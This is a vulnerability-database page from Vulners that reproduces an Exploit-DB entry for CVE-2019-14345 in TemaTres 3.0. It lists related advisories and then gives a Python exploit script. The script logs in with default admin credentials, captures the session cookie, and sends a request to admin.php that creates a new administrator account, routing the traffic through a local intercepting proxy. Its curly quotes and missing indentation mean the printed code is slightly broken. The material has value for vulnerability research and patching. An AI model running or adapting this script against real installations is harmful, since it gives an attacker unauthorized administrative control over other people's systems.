Lucene search
K

TemaTres 3.0 - Cross-Site Request Forgery (Add Admin)

🗓️ 18 Nov 2019 00:00:00Reported by Pablo SantiagoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 301 Views

TemaTres 3.0 - Cross-Site Request Forgery (Add Admin) exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
TemaTres 3.0 - Cross-Site Request Forgery (Add Admin) Exploit
18 Nov 201900:00
zdt
Circl
CVE-2019-14345
20 Feb 202415:51
circl
CNVD
Unspecified Vulnerability in TemaTres
19 Nov 201900:00
cnvd
CVE
CVE-2019-14345
15 Nov 201913:03
cve
Cvelist
CVE-2019-14345
15 Nov 201913:03
cvelist
EUVD
EUVD-2019-5561
7 Oct 202500:30
euvd
exploitpack
TemaTres 3.0 - Cross-Site Request Forgery (Add Admin)
18 Nov 201900:00
exploitpack
NVD
CVE-2019-14345
15 Nov 201914:15
nvd
OSV
CVE-2019-14345
15 Nov 201914:15
osv
Packet Storm
TemaTres 3.0 Cross Site Request Forgery
18 Nov 201900:00
packetstorm
Rows per page
# Exploit Title: TemaTres 3.0 — Cross-Site Request Forgery (Add Admin)
# Author: Pablo Santiago
# Date: 2019-11-14
# Vendor Homepage: https://www.vocabularyserver.com/
# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download
# Version: 3.0
# CVE : 2019–14345
# Reference:https://medium.com/@Pablo0xSantiago/cve-2019-14345-ff6f6d9fd30f
# Tested on: Windows 10

# Description:
# Web application for management formal representations of knowledge,
# thesauri, taxonomies and multilingual vocabularies / Aplicación para
# la gestión de representaciones formales del conocimiento, tesauros,
# taxonomías, vocabularios multilingües.

#Exploit

import requests
import sys

session = requests.Session()

http_proxy = “http://127.0.0.1:8080"
https_proxy = “https://127.0.0.1:8080"

proxyDict = {
“http” : http_proxy,
“https” : https_proxy
}

url = ‘http://localhost/tematres/vocab/login.php'
values = {‘id_correo_electronico’: ‘[email protected]’,
‘id_password’: ‘admin’,
‘task’:’login’}

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()[‘PHPSESSID’]

print (cookie)

host = sys.argv[1]
user = input(‘[+]User:’)
lastname = input(‘[+]lastname:’)
password = input(‘[+]Password:’)
password2 = input(‘[+]Confirm Password:’)
email = input(‘[+]Email:’)

if (password == password2):
#configure proxy burp

data = {
‘_nombre’:user,
‘_apellido’:lastname,
‘_correo_electronico’:email,
‘orga’:’bypassed’,
‘_clave’:password,
‘_confirmar_clave’:password2,
‘isAdmin’:1,
‘boton’:’Guardar’,
‘userTask’:’A’,
‘useactua’:’’

}
headers= {
‘Cookie’: ‘PHPSESSID=’+cookie
}
request = session.post(host+’/tematres/vocab/admin.php’, data=data,
headers=headers, proxies=proxyDict)
print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’)
print(‘Status Code:’+ str(request.status_code))

else:
print (‘Passwords dont match!!!’)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation